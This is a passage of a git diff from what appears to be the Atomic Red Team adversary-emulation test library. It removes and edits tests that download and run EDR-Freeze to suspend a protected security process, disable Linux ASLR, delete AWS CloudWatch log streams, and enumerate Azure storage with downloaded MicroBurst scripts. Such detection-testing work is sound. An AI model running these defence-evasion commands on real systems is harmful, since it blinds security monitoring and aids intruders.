if (-not (Test-Path $dirPath)) { New-Item -ItemType Directory -Path $dirPath -Force | Out-Null }
continue
}
$destPath = Join-Path $extractFolder $entry.FullName
$destDir = Split-Path $destPath -Parent
if (-not (Test-Path $destDir)) { New-Item -ItemType Directory -Path $destDir -Force | Out-Null }
if (Test-Path $destPath) { Remove-Item -Path $destPath -Force -ErrorAction SilentlyContinue }
try {
# Use static extension method (PowerShell 5.1 compatible)
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $destPath, $false)
} catch {
Write-Host "Failed to extract entry $($entry.FullName): $_" -ForegroundColor Yellow
}
}
Write-Host "Extraction completed." -ForegroundColor Green
} finally {
if ($archive) { $archive.Dispose() }
}
}
} catch {
Write-Host "Failed to download or extract EDR-Freeze: $_" -ForegroundColor Red
}
# Wait 15s before putting targeted process before putting it in the comma
Write-Host "Waiting 15s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 5
Write-Host "Waiting 10s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 5
Write-Host "Waiting 5s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 3
Write-Host "Waiting 2s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 2
# Put targeted process in the comma for 15s
# Discover the EDR-Freeze executable dynamically (pick most recent if multiple)
$edrFreezeExeName = Get-ChildItem -Path $scriptFolder -Filter 'EDR-Freeze_*.exe' -ErrorAction SilentlyContinue |
Sort-Object LastWriteTime -Descending |
Select-Object -First 1 -ExpandProperty Name
if (-not $edrFreezeExeName) {
Write-Host "No EDR-Freeze executable (EDR-Freeze_*.exe) found in $scriptFolder" -ForegroundColor Red
exit 1
}
$edrFreezeExe = Join-Path $scriptFolder $edrFreezeExeName
Write-Host "Using EDR-Freeze executable: $edrFreezeExeName" -ForegroundColor Cyan
Write-Host "$processName putted in the comma for 15s, by targetting Process ID $($htaProcess.Id)" -ForegroundColor Yellow
Start-Process -FilePath $edrFreezeExe -ArgumentList ("$($process.Id) 15000") | Out-Null
```
#### Cleanup Commands:
```powershell
Remove-Item -Path $edrFreezeExe -Force -erroraction silentlycontinue
Write-Output "File deleted: $edrFreezeExe"
```
<br/>
<br/>
## Atomic Test #59 - Disable ASLR Via sysctl parameters - Linux
Detects Execution of the `sysctl` command to set `kernel.randomize_va_space=0` which disables Address Space Layout Randomization (ASLR) in Linux.
**Supported Platforms:** Linux
**auto_generated_guid:** ac333fe1-ce2b-400b-a117-538634427439
#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)
```bash
sysctl -w kernel.randomize_va_space=0
```
#### Cleanup Commands:
```bash
sysctl -w kernel.randomize_va_space=2
```
<br/>
-170
View File
@@ -1200,173 +1200,3 @@ atomic_tests:
cleanup_command: New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}" -Name Enabled -Value 1 -PropertyType "DWord" -Force
name: powershell
elevation_required: true
- name: Freeze PPL-protected process with EDR-Freeze
auto_generated_guid: cbb2573a-a6ad-4c87-aef8-6e175598559b
description: This test utilizes the tool EDR-Freeze, which leverages the native Microsoft binary WerFaultSecure.exe to suspend processes protected by the Protected Process Light mechanism. PPL is a Windows security feature designed to safeguard critical system processes — such as those related to antivirus, credential protection, and system integrity — from tampering or inspection. These processes operate in a restricted environment that prevents access even from administrators or debugging tools, unless the accessing tool is signed and trusted by Microsoft. By using WerFaultSecure.exe, which is inherently trusted by the operating system, EDR-Freeze is able to bypass these restrictions and temporarily freeze PPL-protected processes for analysis or testing purposes.
supported_platforms:
- windows
input_arguments:
processName:
type: string
default: "SecurityHealthService"
description: PPL-protected process name to target
executor:
command: |-
# Enable SeDebugPrivilege
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class TokenAdjuster {
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TOKEN_PRIVILEGES {
public int PrivilegeCount;
public long Luid;
public int Attributes;
}
public const int SE_PRIVILEGE_ENABLED = 0x00000002;
public const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
public const uint TOKEN_QUERY = 0x0008;
public static bool EnableSeDebugPrivilege() {
IntPtr hToken;
if (!OpenProcessToken(System.Diagnostics.Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
return false;
long luid;
if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid))
return false;
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
tp.PrivilegeCount = 1;
tp.Luid = luid;
tp.Attributes = SE_PRIVILEGE_ENABLED;
return AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
}
}
"@
$result = [TokenAdjuster]::EnableSeDebugPrivilege()
if ($result) {
Write-Host "SeDebugPrivilege enabled successfully." -ForegroundColor Green
} else {
Write-Host "Failed to enable SeDebugPrivilege." -ForegroundColor Red
exit 1
}
# Get basic process info
$process = Get-Process -Name $#{processName} -ErrorAction Stop
$processName = $process.ProcessName
Write-Host "Process Name: $processName)"
Write-Host "PID: $($process.Id)"
# Get executable path and user info
$query = "SELECT * FROM Win32_Process WHERE Name = '$processName.exe'"
$wmiProcess = Get-WmiObject -Query $query
$owner = $wmiProcess.GetOwner()
Write-Host "User: $($owner.Domain)\$($owner.User)"
# Get the folder of the current script
$scriptFolder = Split-Path -Parent $MyInvocation.MyCommand.Definition
# Download latest EDR-Freeze package and extract (force replace)
$downloadUrl = "https://github.com/TwoSevenOneT/EDR-Freeze/releases/download/main/EDR-Freeze_1.0.zip"
$zipPath = Join-Path $scriptFolder "EDR-Freeze_1.0.zip"
Write-Host "Downloading latest EDR-Freeze from $downloadUrl" -ForegroundColor Cyan
try {
Invoke-WebRequest -Uri $downloadUrl -OutFile $zipPath -UseBasicParsing -ErrorAction Stop
Write-Host "Download completed: $zipPath" -ForegroundColor Green
$extractFolder = $scriptFolder
if (Test-Path $zipPath) {
Write-Host "Extracting archive to $extractFolder (overwriting existing files)" -ForegroundColor Cyan
if (Test-Path $extractFolder) {
# Ensure target exe not locked; attempt to stop any running instance silently
Get-Process -Name "EDR-Freeze_1.0" -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
}
Add-Type -AssemblyName System.IO.Compression.FileSystem 2>$null
# Custom extraction routine (overwrite existing) compatible with .NET Framework (no bool overwrite overload)
$archive = $null
try {
$archive = [System.IO.Compression.ZipFile]::OpenRead($zipPath)
foreach ($entry in $archive.Entries) {
if ([string]::IsNullOrWhiteSpace($entry.FullName)) { continue }
if ($entry.FullName.EndsWith('/')) { # directory entry
$dirPath = Join-Path $extractFolder $entry.FullName
if (-not (Test-Path $dirPath)) { New-Item -ItemType Directory -Path $dirPath -Force | Out-Null }
continue
}
$destPath = Join-Path $extractFolder $entry.FullName
$destDir = Split-Path $destPath -Parent
if (-not (Test-Path $destDir)) { New-Item -ItemType Directory -Path $destDir -Force | Out-Null }
if (Test-Path $destPath) { Remove-Item -Path $destPath -Force -ErrorAction SilentlyContinue }
try {
# Use static extension method (PowerShell 5.1 compatible)
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $destPath, $false)
} catch {
Write-Host "Failed to extract entry $($entry.FullName): $_" -ForegroundColor Yellow
}
}
Write-Host "Extraction completed." -ForegroundColor Green
} finally {
if ($archive) { $archive.Dispose() }
}
}
} catch {
Write-Host "Failed to download or extract EDR-Freeze: $_" -ForegroundColor Red
}
# Wait 15s before putting targeted process before putting it in the comma
Write-Host "Waiting 15s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 5
Write-Host "Waiting 10s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 5
Write-Host "Waiting 5s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 3
Write-Host "Waiting 2s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 2
# Put targeted process in the comma for 15s
# Discover the EDR-Freeze executable dynamically (pick most recent if multiple)
$edrFreezeExeName = Get-ChildItem -Path $scriptFolder -Filter 'EDR-Freeze_*.exe' -ErrorAction SilentlyContinue |
Sort-Object LastWriteTime -Descending |
Select-Object -First 1 -ExpandProperty Name
if (-not $edrFreezeExeName) {
Write-Host "No EDR-Freeze executable (EDR-Freeze_*.exe) found in $scriptFolder" -ForegroundColor Red
exit 1
}
$edrFreezeExe = Join-Path $scriptFolder $edrFreezeExeName
Write-Host "Using EDR-Freeze executable: $edrFreezeExeName" -ForegroundColor Cyan
Write-Host "$processName putted in the comma for 15s, by targetting Process ID $($htaProcess.Id)" -ForegroundColor Yellow
Start-Process -FilePath $edrFreezeExe -ArgumentList ("$($process.Id) 15000") | Out-Null
cleanup_command: |-
Remove-Item -Path $edrFreezeExe -Force -erroraction silentlycontinue
Write-Output "File deleted: $edrFreezeExe"
name: powershell
elevation_required: true
- name: Disable ASLR Via sysctl parameters - Linux
auto_generated_guid: ac333fe1-ce2b-400b-a117-538634427439
description: Detects Execution of the `sysctl` command to set `kernel.randomize_va_space=0` which disables Address Space Layout Randomization (ASLR) in Linux.
supported_platforms:
- linux
executor:
command: |
sysctl -w kernel.randomize_va_space=0
cleanup_command: |
sysctl -w kernel.randomize_va_space=2
name: bash
elevation_required: true
+2 -2
View File
@@ -559,9 +559,9 @@ deleting the log stream. Once it is deleted, the logs created by the attackers w
```sh
aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Created ***"
aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}
echo "*** Log Stream Created ***"
aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}
echo "*** Log Stream Deleted ***"
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Deleted ***"
+2 -2
View File
@@ -388,9 +388,9 @@ atomic_tests:
command: |
aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Created ***"
aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}
echo "*** Log Stream Created ***"
aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}
echo "*** Log Stream Deleted ***"
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Deleted ***"
-117
View File
@@ -14,10 +14,6 @@ Cloud service providers offer APIs allowing users to enumerate objects stored wi
- [Atomic Test #2 - Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI](#atomic-test-2---azure---enumerate-storage-account-objects-via-shared-key-authorization-using-azure-cli)
- [Atomic Test #3 - Azure - Scan for Anonymous Access to Azure Storage (Powershell)](#atomic-test-3---azure---scan-for-anonymous-access-to-azure-storage-powershell)
- [Atomic Test #4 - Azure - Enumerate Azure Blobs with MicroBurst](#atomic-test-4---azure---enumerate-azure-blobs-with-microburst)
<br/>
@@ -222,117 +218,4 @@ Install-Module -Name Az -Force
<br/>
<br/>
## Atomic Test #3 - Azure - Scan for Anonymous Access to Azure Storage (Powershell)
Upon successful execution, this test will test for anonymous access to Azure storage containers by invoking a web request and outputting the results to a file.
The corresponding response could then be interpreted to determine whether or not the resource/container exists, as well as other information.
See https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service
**Supported Platforms:** Iaas:azure
**auto_generated_guid:** 146af1f1-b74e-4aa7-9895-505eb559b4b0
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| base_name | Azure storage account name to test | string | T1619Test2|
| output_file | File to output results to | string | $env:temp&#92;T1619Test2.txt|
| container_name | Container name to search for (optional) | string | |
| blob_name | Blob name to search for (optional) | string | |
#### Attack Commands: Run with `powershell`!
```powershell
try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"}
catch [system.net.webexception]
{if($_.Exception.Response -ne $null)
{$Response = $_.Exception.Response.GetResponseStream()
$ReadResponse = New-Object System.IO.StreamReader($Response)
$ReadResponse.BaseStream.Position = 0
$responseBody = $ReadResponse.ReadToEnd()}
else {$responseBody = "The storage account could not be anonymously accessed."}}
"Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append
```
#### Cleanup Commands:
```powershell
remove-item #{output_file} -erroraction silentlycontinue
```
<br/>
<br/>
## Atomic Test #4 - Azure - Enumerate Azure Blobs with MicroBurst
Upon successful execution, this test will utilize a wordlist to enumerate the public facing containers and blobs of a specified Azure storage account.
See https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/ .
**Supported Platforms:** Iaas:azure
**auto_generated_guid:** 3dab4bcc-667f-4459-aea7-4162dd2d6590
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| base | Azure blob keyword to enumerate (Example, storage account name) | string | secure|
| output_file | File to output results to | string | $env:temp&#92;T1619Test1.txt|
| wordlist | File path to keywords for search permutations | string | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;permutations.txt|
#### Attack Commands: Run with `powershell`!
```powershell
import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}"
```
#### Cleanup Commands:
```powershell
remove-item #{output_file} -erroraction silentlycontinue
```
#### Dependencies: Run with `powershell`!
##### Description: The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder\..\ExternalPayloads.
##### Check Prereq Commands:
```powershell
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"){exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
```
##### Description: The wordlist file for search permutations must exist in PathToAtomicsFolder\..\ExternalPayloads.
##### Check Prereq Commands:
```powershell
if (test-path "#{wordlist}"){exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt" -outfile "#{wordlist}"
```
<br/>
-81
View File
@@ -158,84 +158,3 @@ atomic_tests:
Write-Output "Removed #{output_file}"
name: powershell
elevation_required: false
- name: Azure - Scan for Anonymous Access to Azure Storage (Powershell)
auto_generated_guid: 146af1f1-b74e-4aa7-9895-505eb559b4b0
description: |
Upon successful execution, this test will test for anonymous access to Azure storage containers by invoking a web request and outputting the results to a file.
The corresponding response could then be interpreted to determine whether or not the resource/container exists, as well as other information.
See https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service
supported_platforms:
- iaas:azure
input_arguments:
base_name:
description: Azure storage account name to test
type: string
default: T1619Test2
output_file:
description: File to output results to
type: string
default: $env:temp\T1619Test2.txt
container_name:
description: Container name to search for (optional)
type: string
default:
blob_name:
description: Blob name to search for (optional)
type: string
default:
executor:
command: |
try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"}
catch [system.net.webexception]
{if($_.Exception.Response -ne $null)
{$Response = $_.Exception.Response.GetResponseStream()
$ReadResponse = New-Object System.IO.StreamReader($Response)
$ReadResponse.BaseStream.Position = 0
$responseBody = $ReadResponse.ReadToEnd()}
else {$responseBody = "The storage account could not be anonymously accessed."}}
"Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append
cleanup_command: |
remove-item #{output_file} -erroraction silentlycontinue
name: powershell
- name: Azure - Enumerate Azure Blobs with MicroBurst
auto_generated_guid: 3dab4bcc-667f-4459-aea7-4162dd2d6590
description: |
Upon successful execution, this test will utilize a wordlist to enumerate the public facing containers and blobs of a specified Azure storage account.
See https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/ .
supported_platforms:
- iaas:azure
input_arguments:
base:
description: Azure blob keyword to enumerate (Example, storage account name)
type: string
default: secure
output_file:
description: File to output results to
type: string
default: $env:temp\T1619Test1.txt
wordlist:
description: File path to keywords for search permutations
type: string
default: PathToAtomicsFolder\..\ExternalPayloads\permutations.txt
dependency_executor_name: powershell
dependencies:
- description: |
The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder\..\ExternalPayloads.
prereq_command: |
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"){exit 0} else {exit 1}
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
- description: |
The wordlist file for search permutations must exist in PathToAtomicsFolder\..\ExternalPayloads.
prereq_command: |
if (test-path "#{wordlist}"){exit 0} else {exit 1}
get_prereq_command: |
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt" -outfile "#{wordlist}"
executor:
command: |
import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}"
cleanup_command: |
remove-item #{output_file} -erroraction silentlycontinue
name: powershell
-12
View File
@@ -1755,15 +1755,3 @@ a3c09662-85bb-4ea8-b15b-6dc8a844e236
89e69b4b-3458-4ec6-b819-b3008debc1bc
e6fbc036-91e7-4ad3-b9cb-f7210f40dd5d
1174b5df-2c33-490f-8854-f5eb80c907ca
7693ccaa-8d64-4043-92a5-a2eb70359535
b404caaa-12ce-43c7-9214-62a531c044f7
05e8942e-f04f-460a-b560-f7781257feec
825ba8ca-71cc-436b-b1dd-ea0d5e109086
03ae82a6-9fa0-465b-91df-124d8ca5c4e8
d2a1f4bc-a064-4223-8281-a086dce5423c
0eeb68ce-e64c-4420-8d53-ad5bdc6f86d5
361fe49d-0c19-46ec-a483-ccb92d38e88e
210be7ea-d841-40ec-b3e1-ff610bb62744
cbb2573a-a6ad-4c87-aef8-6e175598559b
ac333fe1-ce2b-400b-a117-538634427439
6e76f56f-2373-4a6c-a63f-98b7b72761f1

Some files were not shown because too many files have changed in this diff Show More